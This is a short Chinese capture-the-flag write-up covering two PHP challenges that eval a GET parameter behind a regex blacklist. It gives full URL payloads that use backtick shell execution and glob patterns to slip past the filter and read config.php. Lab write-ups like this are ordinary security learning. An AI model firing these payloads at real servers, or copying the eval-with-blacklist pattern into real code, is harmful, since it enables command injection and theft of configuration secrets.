阿呆忍无可忍了,告诉自己,如果还被攻,自己就跳下去
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|exec|highlight|cat|\(|\.|\;|file|php|config/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>
相比于上一题过滤了括号, 可以尝试用反引号``执行命令
反引号(``)相当于shell-exec 用于执行系统命令
构造如下命令
?c=echo%20`tac%20*`?>
这里的?>是为了闭合PHP,当然也可以
?c=echo%20`tac%20confi[g][!0-9]ph[p]`?>
这里也可以用文件包含绕过
人为什么要活着?难道埃塞俄比亚再无我阿呆容身之处?
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>
这里过滤了*,那么可以继续用[]中括号绕过
?c=echo%20`tac%20confi[g][!0-9]ph[p]`?>